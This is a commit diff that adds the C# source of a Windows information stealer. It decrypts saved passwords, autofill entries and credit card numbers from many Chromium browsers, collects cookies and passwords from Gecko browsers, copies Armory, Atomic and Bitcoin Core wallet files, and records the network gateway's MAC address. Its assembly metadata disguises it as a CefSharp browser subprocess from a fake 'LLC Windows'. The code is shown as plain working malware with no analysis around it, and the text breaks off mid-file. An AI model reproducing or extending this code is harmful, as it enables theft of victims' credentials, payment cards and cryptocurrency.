initial commit

AesGcm.cs

@@ -0,0 +1,107 @@
+using System;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace SHARP
+{
+    internal class AesGcm
+    {
+      public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
+      {
+        IntPtr num1 = this.OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
+        IntPtr hKey;
+        IntPtr hglobal = this.ImportKey(num1, key, out hKey);
+        BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
+        byte[] pbOutput;
+        using (pPaddingInfo)
+        {
+          byte[] pbIV = new byte[this.MaxAuthTagSize(num1)];
+          int pcbResult = 0;
+          uint num2 = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref pPaddingInfo, pbIV, pbIV.Length, (byte[]) null, 0, ref pcbResult, 0);
+          if (num2 != 0U)
+            throw new CryptographicException($"BCrypt.BCryptDecrypt() (get size) failed with status code: {num2}");
+          pbOutput = new byte[pcbResult];
+          uint num3 = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref pPaddingInfo, pbIV, pbIV.Length, pbOutput, pbOutput.Length, ref pcbResult, 0);
+          if ((int) num3 == (int) BCrypt.STATUS_AUTH_TAG_MISMATCH)
+            throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");
+          if (num3 != 0U)
+            throw new CryptographicException($"BCrypt.BCryptDecrypt() failed with status code:{num3}");
+        }
+        int num4 = (int) BCrypt.BCryptDestroyKey(hKey);
+        Marshal.FreeHGlobal(hglobal);
+        int num5 = (int) BCrypt.BCryptCloseAlgorithmProvider(num1, 0U);
+        return pbOutput;
+      }
+
+      private int MaxAuthTagSize(IntPtr hAlg)
+      {
+        byte[] property = this.GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH);
+        return BitConverter.ToInt32(new byte[4]
+        {
+          property[4],
+          property[5],
+          property[6],
+          property[7]
+        }, 0);
+      }
+
+      private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
+      {
+        IntPtr phAlgorithm = IntPtr.Zero;
+        uint num1 = BCrypt.BCryptOpenAlgorithmProvider(out phAlgorithm, alg, provider, 0U);
+        if (num1 != 0U)
+          throw new CryptographicException($"BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{num1}");
+        byte[] bytes = Encoding.Unicode.GetBytes(chainingMode);
+        uint num2 = BCrypt.BCryptSetAlgorithmProperty(phAlgorithm, BCrypt.BCRYPT_CHAINING_MODE, bytes, bytes.Length, 0);
+        if (num2 != 0U)
+          throw new CryptographicException($"BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{num2}");
+        return phAlgorithm;
+      }
+
+      private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
+      {
+        int int32 = BitConverter.ToInt32(this.GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH), 0);
+        IntPtr pbKeyObject = Marshal.AllocHGlobal(int32);
+        byte[] pbInput = this.Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(1), BitConverter.GetBytes(key.Length), key);
+        uint num = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, pbKeyObject, int32, pbInput, pbInput.Length, 0U);
+        if (num != 0U)
+          throw new CryptographicException($"BCrypt.BCryptImportKey() failed with status code:{num}");
+        return pbKeyObject;
+      }
+
+      private byte[] GetProperty(IntPtr hAlg, string name)
+      {
+        int pcbResult = 0;
+        uint property1 = BCrypt.BCryptGetProperty(hAlg, name, (byte[]) null, 0, ref pcbResult, 0U);
+        if (property1 != 0U)
+          throw new CryptographicException($"BCrypt.BCryptGetProperty() (get size) failed with status code:{property1}");
+        byte[] pbOutput = new byte[pcbResult];
+        uint property2 = BCrypt.BCryptGetProperty(hAlg, name, pbOutput, pbOutput.Length, ref pcbResult, 0U);
+        if (property2 != 0U)
+          throw new CryptographicException($"BCrypt.BCryptGetProperty() failed with status code:{property2}");
+        return pbOutput;
+      }
+
+      public byte[] Concat(params byte[][] arrays)
+      {
+        int num = 0;
+        foreach (byte[] array in arrays)
+        {
+          if (array != null)
+            num += array.Length;
+        }
+        byte[] dst = new byte[num - 1 + 1];
+        int dstOffset = 0;
+        foreach (byte[] array in arrays)
+        {
+          if (array != null)
+          {
+            Buffer.BlockCopy((Array) array, 0, (Array) dst, dstOffset, array.Length);
+            dstOffset += array.Length;
+          }
+        }
+        return dst;
+      }
+    }
+}

Armory.cs

@@ -0,0 +1,26 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Armory
+    {
+      private static readonly string ArmoryDir = "\\Wallets\\Armory\\";
+
+      public static void ArmoryStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Armory\\").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + Armory.ArmoryDir);
+            file.CopyTo(directorypath + Armory.ArmoryDir + file.Name);
+          }
+          ++Counting.armory;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

AssemblyInfo.cs

@@ -0,0 +1,14 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyTitle("CefSharp.BrowsersSubprocess")]
+[assembly: AssemblyDescription("CefSharp.BrowsersSubprocess")]
+[assembly: AssemblyConfiguration("NET Windows Client")]
+[assembly: AssemblyCompany("LLC 'Windows'")]
+[assembly: AssemblyProduct("CefSharp")]
+[assembly: AssemblyCopyright("LLC 'Windows' & Copyright ©  2024")]
+[assembly: AssemblyTrademark("LLC 'Windows'")]
+[assembly: ComVisible(false)]
+[assembly: Guid("7c11697d-caad-4bae-8b2a-0e331680a53b")]
+[assembly: AssemblyFileVersion("1.0.1.2")]
+[assembly: AssemblyVersion("1.0.1.1")]

AtomicWallet.cs

@@ -0,0 +1,26 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class AtomicWallet
+    {
+      public static string AtomDir = "\\Wallets\\Atomic\\Local Storage\\leveldb\\";
+
+      public static void AtomicStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\atomic\\Local Storage\\leveldb\\").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + AtomicWallet.AtomDir);
+            file.CopyTo(directorypath + AtomicWallet.AtomDir + file.Name);
+          }
+          ++Counting.atomicwallet;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

AutoFilesFormat.cs

@@ -0,0 +1,15 @@
+
+namespace SHARP
+{
+    internal struct AutoFilesFormat
+    {
+      internal string Key;
+      internal string Value;
+
+      internal AutoFilesFormat(string key, string value)
+      {
+        this.Key = key;
+        this.Value = value;
+      }
+    }
+}

BCrypt.cs

@@ -0,0 +1,181 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace SHARP
+{
+	public static class BCrypt
+	{
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
+
+		[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
+		internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptDestroyKey(IntPtr hKey);
+
+		[DllImport("bcrypt.dll")]
+		public static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags);
+
+		[DllImport("bcrypt.dll")]
+		internal static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags);
+
+		// Note: this type is marked as 'beforefieldinit'.
+		static BCrypt()
+		{
+		}
+
+		public const uint ERROR_SUCCESS = 0U;
+
+		public const uint BCRYPT_PAD_PSS = 8U;
+
+		public const uint BCRYPT_PAD_OAEP = 4U;
+
+		public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(1296188491);
+
+		public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
+
+		public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
+
+		public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
+
+		public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
+
+		public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
+
+		public static readonly string BCRYPT_AES_ALGORITHM = "AES";
+
+		public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
+
+		public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 1;
+
+		public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 1;
+
+		public static readonly uint STATUS_AUTH_TAG_MISMATCH = 3221266434U;
+
+		public struct BCRYPT_PSS_PADDING_INFO
+		{
+			public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
+			{
+				this.pszAlgId = pszAlgId;
+				this.cbSalt = cbSalt;
+			}
+
+			[MarshalAs(UnmanagedType.LPWStr)]
+			public string pszAlgId;
+
+			public int cbSalt;
+		}
+
+		public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
+		{
+			public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag)
+			{
+				this = default(BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
+				this.dwInfoVersion = BCrypt.BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
+				this.cbSize = Marshal.SizeOf(typeof(BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
+				if (iv != null)
+				{
+					this.cbNonce = iv.Length;
+					this.pbNonce = Marshal.AllocHGlobal(this.cbNonce);
+					Marshal.Copy(iv, 0, this.pbNonce, this.cbNonce);
+				}
+				if (aad != null)
+				{
+					this.cbAuthData = aad.Length;
+					this.pbAuthData = Marshal.AllocHGlobal(this.cbAuthData);
+					Marshal.Copy(aad, 0, this.pbAuthData, this.cbAuthData);
+				}
+				if (tag != null)
+				{
+					this.cbTag = tag.Length;
+					this.pbTag = Marshal.AllocHGlobal(this.cbTag);
+					Marshal.Copy(tag, 0, this.pbTag, this.cbTag);
+					this.cbMacContext = tag.Length;
+					this.pbMacContext = Marshal.AllocHGlobal(this.cbMacContext);
+				}
+			}
+
+			public void Dispose()
+			{
+				if (this.pbNonce != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(this.pbNonce);
+				}
+				if (this.pbTag != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(this.pbTag);
+				}
+				if (this.pbAuthData != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(this.pbAuthData);
+				}
+				if (this.pbMacContext != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(this.pbMacContext);
+				}
+			}
+
+			public int cbSize;
+
+			public int dwInfoVersion;
+
+			public IntPtr pbNonce;
+
+			public int cbNonce;
+
+			public IntPtr pbAuthData;
+
+			public int cbAuthData;
+
+			public IntPtr pbTag;
+
+			public int cbTag;
+
+			public IntPtr pbMacContext;
+
+			public int cbMacContext;
+
+			public int cbAAD;
+
+			public long cbData;
+
+			public int dwFlags;
+		}
+
+		public struct BCRYPT_KEY_LENGTHS_STRUCT
+		{
+			public int dwMinLength;
+
+			public int dwMaxLength;
+
+			public int dwIncrement;
+		}
+
+		public struct BCRYPT_OAEP_PADDING_INFO
+		{
+			public BCRYPT_OAEP_PADDING_INFO(string alg)
+			{
+				this.pszAlgId = alg;
+				this.pbLabel = IntPtr.Zero;
+				this.cbLabel = 0;
+			}
+
+			[MarshalAs(UnmanagedType.LPWStr)]
+			public string pszAlgId;
+
+			public IntPtr pbLabel;
+
+			public int cbLabel;
+		}
+	}
+}

BRWSR.cs

@@ -0,0 +1,209 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class BRWSR
+    {
+      internal static string GenerateRandomString(int length)
+      {
+        Random random = new Random();
+        string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
+        StringBuilder stringBuilder = new StringBuilder();
+        for (int index = 0; index < length; ++index)
+          stringBuilder.Append(str[random.Next(0, str.Length)]);
+        return stringBuilder.ToString();
+      }
+
+      private static string ExtractEncryptedKey(string text)
+      {
+        int num1 = text.IndexOf("\"encrypted_key\":\"", StringComparison.Ordinal);
+        if (num1 == -1)
+          return (string) null;
+        int startIndex = num1 + "\"encrypted_key\":\"".Length;
+        int num2 = text.IndexOf("\"", startIndex, StringComparison.Ordinal);
+        return num2 == -1 ? (string) null : text.Substring(startIndex, num2 - startIndex);
+      }
+
+      public static async Task<byte[]> GetEncryptionKey(string BrowserPath)
+      {
+        byte[] key = (byte[]) null;
+        string path = Path.Combine(BrowserPath, "Local State");
+        if (File.Exists(path))
+        {
+          try
+          {
+            string endAsync;
+            using (FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
+            {
+              using (StreamReader reader = new StreamReader((Stream) fs))
+                endAsync = await reader.ReadToEndAsync();
+            }
+            key = ProtectedData.Unprotect(((IEnumerable<byte>) Convert.FromBase64String(BRWSR.ExtractEncryptedKey(endAsync))).Skip<byte>(5).ToArray<byte>(), (byte[]) null, DataProtectionScope.CurrentUser);
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine(ex.ToString());
+          }
+        }
+        byte[] encryptionKey = key == null ? (byte[]) null : key;
+        key = (byte[]) null;
+        return encryptionKey;
+      }
+
+      private static byte[] DecryptData(byte[] buffer, byte[] key)
+      {
+        byte[] numArray = (byte[]) null;
+        if (key == null)
+          return (byte[]) null;
+        try
+        {
+          string str = Encoding.Default.GetString(buffer);
+          if (str.StartsWith("v10") || str.StartsWith("v11"))
+          {
+            byte[] array1 = ((IEnumerable<byte>) buffer).Skip<byte>(3).Take<byte>(12).ToArray<byte>();
+            byte[] array2 = ((IEnumerable<byte>) buffer).Skip<byte>(15).ToArray<byte>();
+            byte[] array3 = ((IEnumerable<byte>) array2).Skip<byte>(array2.Length - 16 /*0x10*/).ToArray<byte>();
+            byte[] array4 = ((IEnumerable<byte>) array2).Take<byte>(array2.Length - array3.Length).ToArray<byte>();
+            numArray = new AesGcm().Decrypt(key, array1, (byte[]) null, array4, array3);
+          }
+          else
+            numArray = ProtectedData.Unprotect(buffer, (byte[]) null, DataProtectionScope.CurrentUser);
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine($"Failed to decrypt {ex}");
+        }
+        return numArray;
+      }
+
+      public static async Task<PasswordFormat[]> GetPasswords(string BrowserPath, byte[] key)
+      {
+        List<PasswordFormat> passwords = new List<PasswordFormat>();
+        foreach (string sourceFileName in await Task.Run<string[]>((Func<string[]>) (() => Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories))))
+        {
+          try
+          {
+            string str;
+            do
+            {
+              str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(30));
+            }
+            while (File.Exists(str));
+            File.Copy(sourceFileName, str);
+            SQLiteHandler sqLiteHandler = new SQLiteHandler(str);
+            if (sqLiteHandler.ReadTable("logins"))
+            {
+              for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num)
+              {
+                string url = sqLiteHandler.GetValue(row_num, "origin_url");
+                string username = sqLiteHandler.GetValue(row_num, "username_value");
+                byte[] bytes = BRWSR.DecryptData(Encoding.Default.GetBytes(sqLiteHandler.GetValue(row_num, "password_value")), key);
+                if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && bytes != null && bytes.Length != 0)
+                  passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(bytes), url));
+              }
+              File.Delete(str);
+            }
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine((object) ex);
+          }
+        }
+        PasswordFormat[] array = passwords.ToArray();
+        passwords = (List<PasswordFormat>) null;
+        return array;
+      }
+
+      private static string GetUTF8(string sNonUtf8)
+      {
+        try
+        {
+          return Encoding.UTF8.GetString(Encoding.Default.GetBytes(sNonUtf8));
+        }
+        catch
+        {
+          return sNonUtf8;
+        }
+      }
+
+      public static async Task<AutoFilesFormat[]> GetAutoFiles(string BrowserPath)
+      {
+        List<AutoFilesFormat> autofiles = new List<AutoFilesFormat>();
+        foreach (string sourceFileName in await Task.Run<string[]>((Func<string[]>) (() => Directory.GetFiles(BrowserPath, "Web Data", SearchOption.AllDirectories))))
+        {
+          try
+          {
+            string str;
+            do
+            {
+              str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(20));
+            }
+            while (File.Exists(str));
+            File.Copy(sourceFileName, str);
+            SQLiteHandler sqLiteHandler = new SQLiteHandler(str);
+            if (sqLiteHandler.ReadTable("autofill"))
+            {
+              for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num)
+              {
+                string utF8_1 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "name"));
+                string utF8_2 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "value"));
+                if (utF8_1 != null && utF8_2 != null)
+                  autofiles.Add(new AutoFilesFormat(utF8_1, utF8_2));
+              }
+              File.Delete(str);
+            }
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine((object) ex);
+          }
+        }
+        AutoFilesFormat[] array = autofiles.ToArray();
+        autofiles = (List<AutoFilesFormat>) null;
+        return array;
+      }
+
+      internal static async Task<CreditCardFormat[]> GetCreditCards(string BrowserPath, byte[] key)
+      {
+        List<CreditCardFormat> creditcards = new List<CreditCardFormat>();
+        foreach (string sourceFileName in await Task.Run<string[]>((Func<string[]>) (() => Directory.GetFiles(BrowserPath, "Web Data", SearchOption.AllDirectories))))
+        {
+          try
+          {
+            string str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(37));
+            File.Copy(sourceFileName, str);
+            SQLiteHandler sqLiteHandler = new SQLiteHandler(str);
+            if (sqLiteHandler.ReadTable("credit_cards"))
+            {
+              for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num)
+              {
+                byte[] bytes1 = Encoding.Default.GetBytes(sqLiteHandler.GetValue(row_num, "card_number_encrypted"));
+                Console.WriteLine(sqLiteHandler.GetValue(row_num, "card_number_encrypted"));
+                string utF8_1 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "name_on_card"));
+                string utF8_2 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "expiration_month"));
+                string utF8_3 = BRWSR.GetUTF8(sqLiteHandler.GetValue(row_num, "expiration_year"));
+                byte[] key1 = key;
+                byte[] bytes2 = BRWSR.DecryptData(bytes1, key1);
+                if (bytes2 != null)
+                  creditcards.Add(new CreditCardFormat(Encoding.UTF8.GetString(bytes2), utF8_3, utF8_2, utF8_1));
+              }
+              File.Delete(str);
+            }
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine((object) ex);
+          }
+        }
+        CreditCardFormat[] array = creditcards.ToArray();
+        creditcards = (List<CreditCardFormat>) null;
+        return array;
+      }
+    }
+}

BSSID.cs

@@ -0,0 +1,56 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.NetworkInformation;
+using System.Runtime.InteropServices;
+
+namespace SHARP
+{
+    internal class BSSID
+    {
+      [DllImport("iphlpapi.dll")]
+      private static extern int SendARP(
+        int destIp,
+        int srcIP,
+        byte[] macAddr,
+        ref uint physicalAddrLen);
+
+      public static string GetBSSID()
+      {
+        byte[] macAddr = new byte[6];
+        uint length = (uint) macAddr.Length;
+        try
+        {
+          if (BSSID.SendARP(BitConverter.ToInt32(IPAddress.Parse(BSSID.GetDefaultGateway()).GetAddressBytes(), 0), 0, macAddr, ref length) != 0)
+            return "unknown";
+          string[] strArray = new string[(int) length];
+          for (int index = 0; (long) index < (long) length; ++index)
+            strArray[index] = macAddr[index].ToString("x2");
+          return string.Join(":", strArray);
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+        return "Failed";
+      }
+
+      public static string GetDefaultGateway()
+      {
+        try
+        {
+          return ((IEnumerable<NetworkInterface>) NetworkInterface.GetAllNetworkInterfaces()).Where<NetworkInterface>((Func<NetworkInterface, bool>) (n => n.OperationalStatus == OperationalStatus.Up)).Where<NetworkInterface>((Func<NetworkInterface, bool>) (n => n.NetworkInterfaceType != NetworkInterfaceType.Loopback)).SelectMany<NetworkInterface, GatewayIPAddressInformation>((Func<NetworkInterface, IEnumerable<GatewayIPAddressInformation>>) (n =>
+          {
+            IPInterfaceProperties ipProperties = n.GetIPProperties();
+            return ipProperties == null ? (IEnumerable<GatewayIPAddressInformation>) null : (IEnumerable<GatewayIPAddressInformation>) ipProperties.GatewayAddresses;
+          })).Select<GatewayIPAddressInformation, IPAddress>((Func<GatewayIPAddressInformation, IPAddress>) (g => g?.Address)).Where<IPAddress>((Func<IPAddress, bool>) (a => a != null)).FirstOrDefault<IPAddress>().ToString();
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+        return "Unknown";
+      }
+    }
+}

BitcoinCore.cs

@@ -0,0 +1,23 @@
+using Microsoft.Win32;
+using System.IO;
+
+namespace SHARP
+{
+    internal class BitcoinCore
+    {
+      public static void BCStr(string directorypath)
+      {
+        try
+        {
+          RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Bitcoin").OpenSubKey("Bitcoin-Qt");
+          Directory.CreateDirectory(directorypath + "\\Wallets\\BitcoinCore\\");
+          File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\BitcoinCore\\wallet.dat");
+          ++Counting.bitcoincore;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

Browsers.cs

@@ -0,0 +1,218 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Browsers
+    {
+      private static string LocalApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
+      private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+
+      public static async Task ChromiumBrowsers()
+      {
+        Dictionary<string, string> paths = new Dictionary<string, string>()
+        {
+          {
+            "Google",
+            Path.Combine(Browsers.LocalApplicationData, "Google", "Chrome", "User Data")
+          },
+          {
+            "Yandex",
+            Path.Combine(Browsers.LocalApplicationData, "Yandex", "YandexBrowser", "User Data")
+          },
+          {
+            "Edge",
+            Path.Combine(Browsers.LocalApplicationData, "Microsoft", "Edge", "User Data")
+          },
+          {
+            "Opera",
+            Path.Combine(Browsers.ApplicationData, "Opera Software", "Opera Stable")
+          },
+          {
+            "Opera GX",
+            Path.Combine(Browsers.ApplicationData, "Opera Software", "Opera GX Stable")
+          },
+          {
+            "Brave",
+            Path.Combine(Browsers.LocalApplicationData, "BraveSoftware", "Brave-Browser", "User Data")
+          },
+          {
+            "Chromium",
+            Path.Combine(Browsers.LocalApplicationData, "Chromium", "User Data")
+          },
+          {
+            "Dragon",
+            Path.Combine(Browsers.LocalApplicationData, "Comodo", "Dragon", "User Data")
+          },
+          {
+            "EpicPrivacy",
+            Path.Combine(Browsers.LocalApplicationData, "Epic Privacy Browser", "User Data")
+          },
+          {
+            "Iridium",
+            Path.Combine(Browsers.LocalApplicationData, "Iridium", "User Data")
+          },
+          {
+            "Slimjet",
+            Path.Combine(Browsers.LocalApplicationData, "Slimjet", "User Data")
+          },
+          {
+            "UR-Browser",
+            Path.Combine(Browsers.LocalApplicationData, "UR Browser", "User Data")
+          },
+          {
+            "Vivaldi",
+            Path.Combine(Browsers.LocalApplicationData, "Vivaldi", "User Data")
+          },
+          {
+            "Google(x86)",
+            Path.Combine(Browsers.LocalApplicationData, "Google(x86)", "Chrome", "User Data")
+          },
+          {
+            "MapleStudio",
+            Path.Combine(Browsers.LocalApplicationData, "MapleStudio", "ChromePlus", "User Data")
+          },
+          {
+            "7Star",
+            Path.Combine(Browsers.LocalApplicationData, "7Star", "7Star", "User Data")
+          },
+          {
+            "CentBrowser",
+            Path.Combine(Browsers.LocalApplicationData, "CentBrowser", "User Data")
+          },
+          {
+            "Chedot",
+            Path.Combine(Browsers.LocalApplicationData, "Chedot", "User Data")
+          },
+          {
+            "Kometa",
+            Path.Combine(Browsers.LocalApplicationData, "Kometa", "User Data")
+          },
+          {
+            "Elements Browser",
+            Path.Combine(Browsers.LocalApplicationData, "Elements Browser", "User Data")
+          },
+          {
+            "Uran",
+            Path.Combine(Browsers.LocalApplicationData, "uCozMedia", "Uran", "User Data")
+          },
+          {
+            "Amigo",
+            Path.Combine(Browsers.LocalApplicationData, "Amigo", "User", "User Data")
+          },
+          {
+            "Atom",
+            Path.Combine(Browsers.LocalApplicationData, "Mail.Ru", "Atom", "User Data")
+          },
+          {
+            "Torch",
+            Path.Combine(Browsers.LocalApplicationData, "Torch", "User Data")
+          },
+          {
+            "360Browser",
+            Path.Combine(Browsers.LocalApplicationData, "360Browser", "Browser", "User Data")
+          }
+        };
+        List<Task> taskList = new List<Task>();
+        foreach (KeyValuePair<string, string> path in paths)
+        {
+          if (Directory.Exists(path.Value))
+            taskList.Add(Browsers.RunChromiumBrowser(path));
+        }
+        await Task.WhenAll((IEnumerable<Task>) taskList);
+        foreach (KeyValuePair<string, string> path in paths)
+          await Browsers.RunBrowserv20(path);
+        paths = (Dictionary<string, string>) null;
+      }
+
+      public static async Task GeckoBrowsers()
+      {
+        Dictionary<string, string> dictionary = new Dictionary<string, string>();
+        dictionary.Add("Thunderbird", Path.Combine(Browsers.ApplicationData, "Thunderbird", "Profiles"));
+        dictionary.Add("SeaMonkey", Path.Combine(Browsers.ApplicationData, "Mozilla", "SeaMonkey", "Profiles"));
+        dictionary.Add("Cyberfox", Path.Combine(Browsers.ApplicationData, "8pecxstudios", "Cyberfox", "Profiles"));
+        dictionary.Add("K-Meleon", Path.Combine(Browsers.ApplicationData, "K-Meleon", "Profiles"));
+        dictionary.Add("IceDragon", Path.Combine(Browsers.ApplicationData, "Comodo", "IceDragon", "Profiles"));
+        dictionary.Add("Waterfox", Path.Combine(Browsers.ApplicationData, "Waterfox", "Profiles"));
+        dictionary.Add("Firefox", Path.Combine(Browsers.ApplicationData, "Mozilla", "Firefox", "Profiles"));
+        dictionary.Add("Postbox", Path.Combine(Browsers.ApplicationData, "Postbox", "Profiles"));
+        dictionary.Add("Flock", Path.Combine(Browsers.ApplicationData, "Flock", "Browser"));
+        List<Task> taskList = new List<Task>();
+        foreach (KeyValuePair<string, string> path in dictionary)
+        {
+          if (Directory.Exists(path.Value))
+            taskList.Add(Browsers.RunGeckoBrowser(path));
+        }
+        await Task.WhenAll((IEnumerable<Task>) taskList);
+      }
+
+      private static async Task RunGeckoBrowser(KeyValuePair<string, string> path)
+      {
+        await Task.Run((Func<Task>) (async () =>
+        {
+          CookieFormat[] cookies = await GBRWSR.GetCookies(path.Value);
+          if (cookies.Length == 0)
+            return;
+          await Writer.WriteCookies(cookies, path.Key);
+        }));
+        if (!(path.Key == "Firefox"))
+          ;
+        else
+        {
+          PasswordFormat[] passwords = await GBRWSR.GetPasswords(path.Value);
+          if (passwords.Length == 0)
+            ;
+          else
+            await Writer.WritePasswords(passwords);
+        }
+      }
+
+      private static async Task RunBrowserv20(KeyValuePair<string, string> path)
+      {
+        try
+        {
+          if (!Directory.Exists(path.Value))
+            return;
+          await Task.Run((Func<Task>) (async () =>
+          {
+            CookieFormat[] cookiesFromBrowser = await V20Collect.GetCookiesFromBrowser(path);
+            if (cookiesFromBrowser.Length == 0)
+              return;
+            await Writer.WriteCookies(cookiesFromBrowser, path.Key);
+          }));
+        }
+        catch (Exception ex)
+        {
+        }
+      }
+
+      private static async Task RunChromiumBrowser(KeyValuePair<string, string> path)
+      {
+        byte[] _encrKey = await BRWSR.GetEncryptionKey(path.Value);
+        await Task.Run((Func<Task>) (async () =>
+        {
+          PasswordFormat[] passwords = await BRWSR.GetPasswords(path.Value, _encrKey);
+          Console.WriteLine(passwords.Length.ToString());
